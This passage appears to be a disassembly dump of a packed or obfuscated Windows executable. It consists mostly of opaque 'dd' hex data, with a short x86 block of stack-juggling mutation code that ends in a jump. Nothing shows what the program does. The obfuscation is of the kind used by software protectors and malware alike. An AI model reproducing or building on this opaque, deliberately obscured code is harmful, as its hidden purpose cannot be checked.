87878F4Ah, 6E8093CFh dd 0FE4F5AC0h, 938D8DEDh, 6606333Ch, 898E6BBEh, 2B0EE18Dh dd 10E906h, 1F3F0000h, 0C2218C9Fh, 0D2FB09AEh, 0FEE5CC2Ah dd 7E94EABh, 35000000h, 0D0FB17E0h, 85C787C7h, 62B21E1h dd 6738h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 4AC35646h, 4ACBEE4Fh, 0C7DB5D7Fh, 2B2BE585h, 6 dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 2ACE512Fh, 2ABA40B0h, 525B5FFh, 6A062Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0EF95CC3h, 1AE1858Bh, 95FF062Bh, 62B2731h, 8BBEB866h dd 95FF006Ah, 62B2945h, 4FEBC08Bh, 919802A6h, 21EE450Ah dd 0CE262ACCh, 0D3FAD371h, 1DDF0735h, 0B7071D02h, 2767835Dh dd 0E72C2AB2h, 0B8A8BDB7h, 243FAE3h, 0BB6E1DD3h, 62C4D450h dd 0FB0BF18h, 66F496DCh, 364978CFh, 0CA58B624h, 727EF89Ch dd 5FE38BB4h, 0C1BC55CBh, 8D394290h, 333D848Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 83FB08C4h, 898589E5h, 89062B00h, 2B0EE18Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 211D0C8Dh, 898B2661h, 2B001D85h, 0E185C706h, 98062B21h dd 0F00006Dh, 0D84h, 8E900h, 41630000h, 0DD3640DCh, 85C7B2DDh dd 62B2BE5h, 0 dd 0FF8FD280h, 2B0DFDB5h, 0F88B6606h, 273195FFh, 0B70F062Bh dd 0FF006AF0h, 2B294595h, 0EBC08B06h, 66EF28h, 0B84A2A68h dd 0B1982215h, 200853DEh, 7787D36h, 1680AB68h, 79589B22h dd 0C2698E1h, 0FA4C1BECh, 794EBF76h, 31E94Fh, 22690000h dd 6F5Fh, 0Ah dup(0) dd 0E9000000h, 575h, 0D8D4F06Dh, 68A498BFh, 0BB77490Fh dd 0C7C3E55Ch, 108CB6A8h, 0B1A932E5h, 66F4138Fh, 1247A05Ch dd 0D395F22Eh, 0CC6339F5h, 0D8FD0EA0h, 66C54392h, 0BE0D372Bh dd 816D69A0h, 0B70AE1C7h, 21D99A3h, 0C8876442h, 79B094CDh dd 0A3082E26h, 4D04F95Ch, 62FE806Bh, 14323289h, 0D2F468B7h dd 0DDEEE75h, 43261A03h, 90D0CF52h, 0FACE77B6h, 1E9ABCB4h dd 0B75801h, 10064EDCh, 103FFB17h, 71DEEE75h, 0EB23C963h dd 6BA2BC94h, 92794314h, 0D6350F4Fh, 674B3F26h, 45D2CEF2h dd 0FE2F1146h, 2487A1A3h, 0EB2319A8h, 4E68E894h, 7391E7Dh dd 7357EEA4h, 4F879FCh, 97BC9CD6h, 60407Dh, 71820000h dd 7286B7E2h, 0F6DA6FCCh, 0EBC546E8h, 0E6273B94h, 50FFD99Bh dd 0EF1E2E35h, 0C520B01Ch, 0BC0B94EBh, 0D1897AE1h, 0E6021CEFh dd 8BB47505h, 0DEDF8BB7h, 1877D96h, 43000000h, 7DEADA81h dd 7C5A3E0Eh, 0FD2CBFE1h, 0B88CD32Eh, 73550C53h, 867AF398h dd 8F0B3D20h, 0DAD6F070h, 340A4E4Dh, 0D981D1F5h, 0A2B904E7h dd 53FE49A2h, 1E2A2334h, 94EBC06Ch, 2CDD79E1h, 75B4F33h dd 0C46046FEh, 50B5AFC8h, 4ED03B0Dh, 72E6A532h, 73CE5D4Ch dd 0ADF0DBEDh, 1A94A0B5h, 6F6B143Fh, 297457F3h, 0F4BF0C30h dd 30E48B7Fh, 1DF87817h, 6E50147h, 0B488B178h, 0FBCD930Eh dd 0F89F0E10h, 7D96DE7Eh, 8D06h, 0D981C000h, 0A3B904E7h dd 0AC454E9Dh, 0F26722D8h, 25DFDCEh, 0FF83685Eh, 966FF30Eh dd 33BDCBDEh, 4694EBC0h, 0D36FBCD8h, 0F10EF364h, 3C58B7C7h dd 0CCEE493h, 0B8D7E5A4h, 0EC728D71h, 0E41E8DDAh, 5AA9BEFBh dd 9FE2B178h, 6F2B80A4h, 0BAC4F2D6h, 427D9765h, 74h, 5212718Ch dd 0F46AB574h, 2C898E01h, 0DA95C04h, 0CAFE63BEh, 94230EE1h dd 0D771FB09h, 1A0494EBh, 0EBD7A24Ch, 424BD794h, 5231E5D9h dd 4DED3E08h, 2B1D455Ch, 1271EBEFh, 5B967553h, 0F2968CD8h dd 3EEF0BDEh, 63487CE3h, 0B93341ECh, 0CC94EB56h, 0A4355B52h dd 8D94EB56h, 1FAA5034h, 0EB567FF1h, 0FACC8E94h, 0ACB20911h dd 70105A7Dh, 1B47D97h, 16000000h, 6E5DB81h, 4C9FB9BBh dd 0C1E5D95Ch, 0E069A59Bh, 99F46390h, 102EFDC3h, 2B6A7699h dd 228AC6D9h, 2560EF3Ch, 98A60523h, 70560E11h, 0FC195BB4h dd 0DC3BB35Ah, 0F9615C7Bh, 54F08E5Dh, 45C95977h, 22386D3Fh dd 456B0513h, 1E6D3Fh, 3C4807E4h, 6D3F45B2h, 5EFC5BC7h dd 0AA288764h, 0F63EC02Ah, 7357ECD7h, 4A3E37FCh, 0EB19EC64h dd 0DA0AC79Ah, 0D433EF0Bh, 6E2DBA9Ch, 44D7D6E8h, 72597FF9h dd 60463A23h, 5DCAC6E0h, 0C0088A2Eh, 62AB57A2h, 6B680B67h dd 175B377h, 6F1F0000h, 0A449111Fh, 0DF5C4316h, 0C12A46C3h dd 0EDDFB7Ah, 2FB8D470h, 0C623E801h, 3838678Ah, 11ADCD1Eh dd 0CBED67BAh, 0A5B0B0CFh, 3E3A1597h, 5AF6686Dh, 3F2A2A71h dd 0C3CB0570h, 3D2B9722h, 6D3E0EB3h, 0EEC9EAAh, 0F9616D3Eh dd 2B801C02h, 6FBC86D4h, 97744E10h, 0EE8145FEh, 9423CE9Dh dd 3E0EE688h, 0D9879B6Dh, 6D3E0E57h, 4CF5342Ah, 14323278h dd 0A76B0798h, 4213776Ch, 0BF000000h, 84D3206Fh, 0AC5E6AF9h dd 0A194EBC0h, 0CE4070B9h, 0C314EBC0h, 0AE408C5Fh, 3F14EBC0h dd 77CA211Bh, 0A20DDEE2h, 0F222C5B9h, 7ECD877Bh, 0A8ABE671h dd 0E6F21D8Ch, 94EBC024h, 5EC5C159h, 0B7h, 0D21F6F38h dd 0DB3A7785h, 5A398AC6h, 29CC3D1Bh, 1877DA31h, 96A80345h dd 7AF2E8A9h, 0DECFC82Eh, 38A781C3h, 5177EEADh, 70FAE47Ah dd 696D3F7Ch, 3F7CD15Bh, 41BAA46Dh, 7C2CDEEAh, 39216D3Fh dd 59B66C9Dh, 0F3AE391Fh, 0EB775470h, 0EE7D5322h, 216D3F63h dd 57AA0127h, 3BD03B1Dh, 58AB3E02h, 0D05A66F5h, 0A56D3F7Bh dd 0F7CB74B5h, 1B97B1B3h, 24DA212h, 0A3926F6h, 0C4D07F73h dd 674ABD2Ah, 8894C35Fh, 674ABDE6h, 806B879Bh, 0CE1D3B3Dh dd 0BF6327DEh, 0F5778510h, 88674ABDh, 0BD26C896h, 0C75B674Ah dd 88E555C6h, 89D5B05Fh, 0FA424EBFh, 13797FFFh, 6F0F930Fh dd 7785D21Fh, 8ADE82A7h, 0C48B60FEh, 2812B39h, 6AF46D27h dd 11E45CA3h, 49E41AE6h, 5C58F426h, 0C4270143h, 0CBE6C308h dd 0E7DB5417h, 6BA781C3h, 0FFA1540Ch, 22DF4327h, 3596AAAFh dd 9E6D8925h, 72E70043h, 381E7D4Eh, 7995A506h, 0E71E0EDDh dd 0F3D58F23h, 0BE98D837h, 0DFA6Dh, 5EDC0000h, 0D45662F1h dd 0A994EBC0h, 815278B1h, 0BC03E8DCh, 0F249A284h, 2D705B6Dh dd 69B41731h, 0A1FCCFF1h, 0D92487B9h, 0E6DBE9Eh, 4897744Ah dd 8D83315h, 0F6B68h, 24048900h, 405E089h, 83000000h, 48704E8h dd 89515C24h, 4C181E1h, 83000000h, 0C8704E9h, 34895C24h dd 32086824h, 2C890000h, 0EC685124h, 5906333Dh, 5459CE89h dd 81242C8Bh, 4C4h, 329C6800h, 34890000h, 242C8124h, 223B43h dd 8108458Fh, 3B430845h, 34FF0022h, 0C4835D24h, 24348B04h dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFF83C60h dd 0A65AF135h, 0B543232Ch, 42D8B839h, 0C5030633h, 0C6C5E0FFh dd 147C0841h, 0E4C97D5Eh, 0E7137987h, 56C463B8h, 7673729Bh dd 8BA061Ah, 3C1B3C45h, 0A8025137h, 0C43B148Eh, 0D075DE7h dd 5BB52F0Dh, 0CDF5066Eh, 7B837F9Ch, 0DD3F20E2h, 0F1670389h dd 0EDE37D73h, 595B340Dh, 78120070h, 1B341E0Eh, 8DD8781Ah dd 0DA1B249Ah, 0C2684C0Ch, 0E7F5F4Eh, 7D2B1F21h, 0FE8116Dh dd 36000000h, 604EB487h, 612EEBE7h, 5281C675h, 0DE80519Ah dd 0C6815E24h, 7497h, 1CF768h, 0D2816600h, 80583CB5h, 0E8B79EEh dd 81F8B70Fh, 4F38C1F1h, 0E880606Eh, 8161FC89h, 33F02CF1h dd 8E0F5332h, 2, 815A6160h, 4B7944E9h, 0A8E0F2Bh, 60000000h dd 820Fh, 0DE8B0000h, 0E9605161h, 8, 0FF2A3735h, 6C12430Ah dd 8F6152B3h, 13E906h, 0D50D0000h, 478A229Fh, 0AD0CBDF3h dd 9D069F59h, 0FF97BD34h, 2EE8311h, 797812BBh, 484E4E13h dd 0E850Fh, 0BA660000h, 1BE92979h, 0C5000000h, 0FDB59FDEh dd 0E9FB8B66h, 0FFFFFF76h, 95BB2973h, 0DF42C614h, 0F6049BEEh dd 10EBE067h, 4 dup(0) dd 0BD83C08Bh, 62B01F9h, 83097500h, 2B1689BDh, 19740006h dd 0C08B5350h, 42DB8h, 81858900h, 8D062B1Bh, 2DBF759Dh dd 5BD3FF06h, 89BD8358h, 62B16h, 53501774h, 42DB8h, 81858900h dd 8D062B1Bh, 2DBC649Dh, 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0B00EFDD2h dd 14447824h, 820F5697h, 2, 8B5ED08Bh, 2B058D95h, 0F5B58B06h dd 8B062B06h, 81CE81C0h, 8B02EA15h, 2B27198Dh, 0DE806h dd 0E1650000h, 10584Ch, 0CBFE05F2h, 5AE6D53Ah, 0F00F983h dd 0BF84h, 0C9BD3100h, 64062B0Eh, 2C3D8Bh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 482C45C3h, 0D4FC016Ah, 840FFF0Bh, 88h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 17h, 0B2C35545h, 66340A06h dd 0BA3BE281h, 6A3F8Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0A6B95FC3h, 0C0C63281h, 8B318942h dd 6AC032D7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 2642C353h, 73F67816h, 6625E66Ch dd 0E9AAF3FCh, 0Ch, 0B87DF66Ah, 9D07D9Eh, 4536B865h, 50414935h dd 0FE953h, 9AA00000h, 690231C7h, 9C934B8Ch, 72452653h dd 2D85C6E9h, 47062B33h, 11840Fh, 0CE90000h, 29000000h dd 0AFC2A847h, 0A5F26093h, 0E85AB1BCh, 4, 0DCD6882Ch, 8B5BB250h dd 0E9042444h, 8, 0A7B08772h, 633D792h, 0ABBA008Bh, 893BA80Fh dd 0E9042444h, 0Eh, 4F3622D3h, 0F4747D1Ah, 9B046E7Ch, 6A587B2Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 3675C357h, 0B50BC8F8h, 62B1E5Dh, 998D8957h dd 5E062B08h, 1BDDB5FFh, 6A062Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0D01088C3h, 6729C7C2h dd 870F463Dh, 6, 16E9B501h, 858D062Bh, 62E83EBh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 39C35040h, 852B6049h dd 62B25E1h, 999BD29h, 0FF61062Bh, 56006AD0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 5EF71322h dd 6CD62C0Bh, 0F5958B5Bh, 89062B21h, 2B10AD85h, 0FD9D8906h dd 0C6062B07h, 2B332D85h, 6A5306h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 5167DC3h, 0F8B70F60h dd 6661F18Bh, 8508C681h, 29599503h, 0E768062Bh, 8A79C346h dd 240481F7h, 0ED52415h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 62C35545h, 68E68166h, 0DDB5FF0Bh, 89062B1Bh dd 2B00B99Dh, 0EB858D06h, 8B062E83h, 2B288DB5h, 6AD0FF06h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8D83C352h, 2E467985h, 0E7E28106h, 8939FCEEh dd 2B28C585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0CA353CA2h, 2B1F3E77h, 2B2F9995h dd 6A206A06h, 0C595FFFFh, 35062B28h, 53504149h, 26BD85C7h dd 1062Bh, 85C70000h, 62B1545h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D5C35646h dd 10F82E50h, 1CA5BD01h, 0EE9062Bh, 0A9000000h, 0FB5BAA12h dd 66333754h, 0A030AC0Ch, 0A9858BD0h, 0F062B1Ah, 86h, 0A36400h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 0CA57C357h, 69A36491h, 328DBD83h dd 0F00062Bh, 5A84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 976F6E89h, 858B5E57h dd 62B1DB5h, 0C8E28166h, 6AE08BF1h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0D0FDC356h dd 9E989h, 7BC90000h, 5C3058ECh, 83EDCB37h, 2B2FADBDh dd 850F0006h, 525h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 4BC35545h, 5ED8012Eh, 0F65BF7E6h, 0FE98Ch dd 3C7E0000h, 5DB623F1h, 0DA5CD0Ch, 0D206CA5Ah, 2D85C687h dd 56062B33h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 91C35242h, 0BE66E0B4h, 0F868088Dh, 0E9A3E7BFh dd 0Dh, 960C7097h, 0FD1E1624h, 5C755762h, 2434818Ah, 0A228F27h dd 10D1BD01h, 0B5FF062Bh, 62B1BDDh, 0C890Fh, 7E90000h dd 15000000h, 8EC7D1E4h, 858D53A8h, 62E83EBh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0CEC35242h, 0A72D4CC4h dd 0E9D0FFC9h, 7, 46E1DF7Bh, 90C77486h, 0BA665350h, 905A4E9Eh dd 0D5BE6660h, 119D0B4Eh, 61062B2Ch, 2AF18D8Dh, 958B062Bh dd 62B2475h, 880F5050h, 2, 895E5A56h, 8D29240Ch, 62B09ADh dd 6A046Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0E44856C3h, 0ABF681DAh, 332969BEh, 2B10F595h dd 4E806h, 10000000h, 5E90000h, 6000000h, 6AEAFA58h, 24448B50h dd 8BF08A04h, 12E800h, 943D0000h, 2489AFB8h, 88DE0443h dd 0F5838B14h, 1234FCE1h, 895AF38Bh, 8A042444h, 6A58D3h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 3B765EC3h, 0B58932EBh, 62B1909h, 809B5FFh, 12E8062Bh dd 0D1000000h, 24B435EEh, 44C8D4Ch, 0C29FB551h, 0D8C2734Ch dd 0CE816669h, 0FF5EB3F2h, 53006AD0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0B67081F4h dd 718D8957h, 5E062B32h, 809BD8Bh, 0E9F5062Bh, 6, 0DE40F4E8h dd 7F033B2Ch, 57006A3Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0C78152C8h, 0F8h, 17E5B58Bh, 47C7062Bh dd 2024h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0F92C04F9h, 0D3CE78BEh, 0B1958B89h dd 83062B1Eh, 334494BDh, 840F0006h, 1C7h, 0ED1958Bh, 0C783062Bh dd 56006A28h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0EDBF6B5Ch, 0C3563A32h, 219533AFh, 0C7062B20h dd 696A2E07h, 50006A64h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 3D2A4D92h, 0CA8A47ABh, 1E6D958Bh dd 47C7062Bh, 61746104h, 0F2816600h, 9533EB64h, 62B1795h dd 449C858Bh, 6A0633h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0EAE498C3h, 89A77F94h, 858B0C47h dd 63344A0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0E0C35545h, 89D2AA53h, 2B323D85h, 8478906h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C4C35545h, 6B8F7E3Fh dd 1D6E8700h, 0D1B70F9Bh, 0C783D68Bh, 51006A28h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 982B1E5Ch, 12E860h, 0A2C20000h, 0ADFC485Eh, 2E737809h dd 2FCFF399h, 3008C349h, 0CC60E781h, 8B5E5873h, 2B11358Dh dd 7C76106h, 6E6F632Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 4AC35747h, 9F068132h, 62E5482Dh, 0C7F08B66h dd 69660447h, 8D890067h, 62B2FE5h, 4498858Bh, 7E90633h dd 0C3000000h, 8A339B9Bh, 47899E4Eh, 6800F0Ch, 89000000h dd 2B1D1DBDh, 94858B06h, 89063344h, 6A0847h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0E03DF1C3h dd 0FDB0BD8Fh, 58F28B66h, 14810Fh, 0FE90000h, 49000000h dd 0DFEEDBE0h, 0D9CA2FBAh, 3980F4A8h, 8D8DD860h, 62B2D01h dd 20798531h, 0B650062Bh, 240C891Bh, 0EDD9D09h, 0B5FF062Bh dd 62B2AF1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 2EC35242h, 27CA0546h, 0ED5BD89h, 4E8062Bh, 0 dd 0E8000010h, 0Dh, 7BCC00EAh, 0F9BCAD81h, 3A336AEh, 5AF8B25Ch dd 11E950h, 0E9940000h, 9C183988h, 9DF1CEA6h, 0D9608085h dd 8B98A706h, 8B042444h, 0FE900h, 0CC920000h, 3F3071EDh dd 0A6A830Ah, 0BFC366C0h, 244489F5h, 0DE904h, 6EB10000h dd 7E800327h, 9443B44Ah, 58AFDC96h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0EDC35545h, 4CDA7E90h, 8A9E8F6Bh dd 9B5FFCBh, 89062B08h, 2B329D9Dh, 89D0FF06h, 2B1DC195h dd 0B806h, 8EB20000h, 840FC00Bh, 4Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0B0C35646h, 3F9A7DDh, 2B30A595h dd 99B5FF06h, 8B062B35h, 2B089195h, 3195FF06h, 8B062B27h dd 2B2BE995h, 95896006h, 62B3271h, 25D19531h, 8B61062Bh dd 0BD83F5C0h, 62B01F9h, 83097500h, 2B1689BDh, 19740006h dd 0C08B5350h, 42DB8h, 79858900h, 8D062B34h, 2DBFDC9Dh dd 5BD3FF06h, 89BD8358h, 62B16h, 53501774h, 42DB8h, 79858900h dd 8D062B34h, 2DBC7D9Dh, 5BD3FF06h, 0ED958958h, 6A062B28h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 2CB2C351h, 8CA2180Fh, 0C0D1C77Ah, 6AC08Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0C14493C3h, 286A6948h, 8DC08BDDh, 33503F8Dh, 0BFBB6606h dd 0E18D89BFh, 89062B0Eh, 2B0BAD95h, 0E185C706h, 20062B21h dd 6A000073h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 9F93C355h, 8B8BFBD0h, 2B069595h dd 0E585C706h, 62B2Bh, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0DCC9C351h dd 0A0343A48h, 0B58B18F4h, 62B1B05h, 953BBF66h, 3069BD8Bh dd 0B5FF062Bh, 62B18B9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0E1C35040h, 0EEA0EEC2h, 8BD5AED6h, 2B092185h dd 7DBD8906h, 0FF062B17h, 2B273195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 6BE1EA5Bh dd 9E96B02h, 76000000h, 6036D61h, 0F0693E39h, 95FF006Ah dd 62B2945h, 2CEBC08Bh, 80A221Fh, 4817B7F1h, 9241C16Fh dd 518C821h, 0EC7D42ECh, 0F3CBC1Ah, 2356DAA8h, 26E5C42Dh dd 71C66537h, 0E9DCB85Bh, 0BD8393A0h, 10E8h, 5D05AB00h dd 0E74499D9h, 0A6AFEF5Fh, 558D77AFh, 2DBD29CEh, 5A062B2Bh dd 0C281C0B0h, 7002h, 0BEC78B66h, 678E2CDCh, 1113EE81h dd 8D29678Eh, 62B009Dh, 5E91A8Bh, 0D0000000h, 0CC6ED4A2h dd 6B9CF381h, 95290B6Dh, 62B2C31h, 55D8F381h, 895218C2h dd 2B009D8Dh, 0F3815906h, 65F32F3h, 1A89C28Ah, 5847B851h dd 83582A3Bh, 0C4B801EAh, 4A79F02Fh, 0AE94A4Ah, 91000000h dd 0B414336Dh, 0F8680EA5h, 1EE833Ah, 2D850Fh, 0AE80000h dd 39000000h, 87C41763h, 4BFF71A2h, 41B529E4h, 5F062B17h dd 3AE9h, 3013B500h, 7177F341h, 0FBD541BAh, 1C05081Eh dd 0E8CED5D2h, 12h, 58E496CCh, 6058AF8h, 0D98C175Bh, 0E3C72C8Ah dd 59FC1CFBh, 0FFFF5BE9h, 0CC4E28FFh, 0A257249h, 8D4B2491h dd 3351FA8Dh, 11890F06h, 0E9000000h, 0Ch, 7DADC83Ch, 35F3DFFDh dd 1D2181A7h, 0EE18D89h, 958B062Bh, 62B2031h, 21E185C7h dd 6848062Bh, 8B660000h, 0E585C7D7h, 62B2Bh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 5EF9C355h, 0FF0EE2D5h, 2B0A91B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8B5A65C3h, 2B2401B5h, 0E1B52906h, 0FF062B17h, 2B273195h dd 41F08106h, 6A5FE6BCh, 4595FF00h, 8B062B29h, 0A83DEBC0h dd 0D7D903CEh, 0C4ED71A0h, 87906C25h, 9B5E077Eh, 259F8E94h dd 92F2C7D5h, 1A6A7374h, 8928C6CAh, 85A213FFh, 0F921451Fh dd 246ABDD9h, 7B447DAAh, 0E9FFDFD9h, 0D8ED5DB1h, 0A235A43Ah dd 0D8E900EBh, 0C2000003h, 1473AF99h, 64837F41h, 0B5D2CEF0h dd 11E9AB2h, 5EAB6759h, 6658FE9Bh, 37114DAAh, 81BB9CFBh dd 4C6AEA05h, 57658A50h, 92D892D5h, 8194ACA8h, 0CE3329DAh dd 0FF1BB789h, 4E70E403h, 0E4C28201h, 271E7925h, 0F46A8501h dd 0A1B9D6D2h, 0E55309Fh, 413CF3Eh, 3EEFD189h, 4D497BE3h dd 872937C2h, 0FA94EBC0h, 44F9EEB7h, 6A24CB3h, 9C0D3329h dd 7FE8DC85h, 0A42AC4D0h, 253394EBh, 94EBA48Bh, 879B60FEh dd 53F5806h, 2EF9E723h, 0F8ADE2Bh, 0E8FD77C9h, 3E8DABADh dd 33B43620h, 51C96D26h, 0C88BD635h, 0FB17292Fh, 3C370410h dd 8AD0CF18h, 828D71B8h, 9D6E5207h, 0AB1B0CFDh, 0F8A1946h dd 8A947749h, 1AF08D03h, 5CEB730Bh, 491CBE30h, 0E04FD367h dd 0A9CD7307h, 8063AA40h, 931E4D9Eh, 7EF291D4h, 923EEFB4h dd 6749ED04h, 0A7D3B74Eh, 713906CBh, 0ECCA8A09h, 0FD8A031Fh dd 0E0h, 0E7D981D9h, 0A3A5B904h, 47E43648h, 0A5321448h dd 0EBC01597h, 37F66894h, 0D2FE8D18h, 94EBC058h, 0D4FC2D2Dh dd 94EBC056h, 0DDB8273Bh, 0B4474686h, 0CDC9EF69h, 4B94B2B2h dd 0FB32144Ch, 0A6CB3B28h, 6AEFAA39h, 0B0395756h, 0CF8AC6D8h dd 95887853h, 9E7BFDB1h, 1A2487B9h, 0BB0B02FEh, 8E9A29B6h dd 6D3F38FCh, 8E6D4B0Dh, 6BF61990h, 0BB102A2Ch, 4B6A66A7h dd 273121Ah, 0EE70CF1Ch, 550C8BD4h, 7894AEB0h, 0A01E8F93h dd 0C2291347h, 82CD2291h, 421A2476h, 25E17967h, 309FD424h dd 6F3F8524h, 956C879h, 7FDC6E7Ah, 0A9B17995h, 84EAD60h dd 3E6DFA36h, 4DE1716Bh, 0F00FFE87h, 0C677546Eh, 0A0EF7877h dd 9F470609h, 0C24DBC61h, 959DE0B6h, 0E11D3D79h, 32EED086h dd 0C8EE6625h, 28AE5FE3h, 54D6E271h, 2994EBC0h, 109AA631h dd 6594EBC0h, 0B30334F5h, 0C0CD7F8Dh, 0AD8094EBh, 0EBC0ED9Fh dd 62FE6094h, 60FA99C6h, 73550966h, 308997BAh, 4F8AC6F5h dd 0A3A5F8D3h, 0FD210985h, 596BF3AEh, 0C3DEC72h, 6B79B6BDh dd 6D3F15DDh, 9612342Ch, 8ED9FF79h, 0B704F703h, 5B523DC1h dd 4E0685C8h, 7692B6ABh, 7551DBE9h, 3A246D3Fh, 92B4ACF3h dd 69ED5645h, 86787D47h, 0D8BC72B9h, 0EB22667Bh, 0B094C918h dd 0F6CA8F0Ah, 4E68E837h, 78214D52h, 39C5776Bh, 1000000h dd 0F47F0271h, 0EFE843DDh, 0E47A516Bh, 60D04148h, 1AB690D0h dd 0C40ABFCDh, 0D5458AC6h, 5FD1FF8Ah, 326D3ED4h, 519C91FFh dd 0E703057Ah, 48085726h, 0AA1B26Eh, 91000000h, 5E6C681h dd 1C98BEB6h, 0E6C68178h, 0CDDB702Ah, 94EBC027h, 98E7C45Ah dd 632DFED8h, 0E1D06FAh, 0EBC04CE2h, 0CE190194h, 0EBC008A2h dd 72DD7D94h, 204C4117h, 94EBC08Eh, 0CAC35FC3h, 5F79FB14h dd 3CDEA2A3h, 24h, 0E1C7811Ah, 9BBDB70Ah, 76F2A14Ch, 995354F6h dd 93BA3422h, 53CF94EBh, 9376F804h, 170B94EBh, 34102896h dd 3E8DC81h, 49A284BCh, 705B6DF2h, 0B417312Dh, 0FCCFF169h dd 2487B9A1h, 6DBE9ED9h, 97744A0Eh, 0D8331548h, 7B846808h dd 2C890000h, 0E6895624h, 4C681h, 0EE830000h, 24348704h dd 2414895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push esi mov esi, 6335243h mov edx, esi mov esi, [esp] add esp, 4 push esp mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], edx sub dword ptr [esp], 585736B4h pop dword ptr [esi+8] add dword ptr [esi+8], 585736B4h mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_544660 ; --------------------------------------------------------------------------- db 0A5h, 1Dh, 0B8h dd 6335585h, 0E0FFC503h, 59D7F79Ch, 2A9E79F4h, 0B29B124h dd 2AF0A98Ch, 1D026934h, 634B7E2h, 113628B7h, 1CE3B04Eh dd 36192241h, 22B86660h, 11E93Dh, 37170000h, 358DD79Ch dd 81403D91h, 853D7404h, 6121B460h, 6E9h, 5B9B8300h, 0E95F8AAAh dd 0Fh, 0B9F11206h, 0BBCCC0F0h, 5C94B12Eh, 0F37A7FBh, 387h dd 0DA8B6600h, 66F9D68Bh, 125EDA81h, 0CE9h, 5BE66A00h dd 0D5228037h, 0A2D1195Eh, 0DE9CBh, 72920000h, 88923EC0h dd 0D8AA9138h, 0F07CB41h, 5E9D6B7h, 9A000000h, 3AA07A07h dd 0CE8h, 90879200h, 3AFF9A68h, 37D13491h, 8B6660A6h, 8E0FF3h dd 61000000h, 0EB81665Ah, 8EB76B3Ah, 0BE9h, 458E1A00h dd 0C5B652Ah, 77914F93h, 0C381F08Bh, 35326057h, 0E810Fh dd 9E90000h, 16000000h, 0D6FAACEEh, 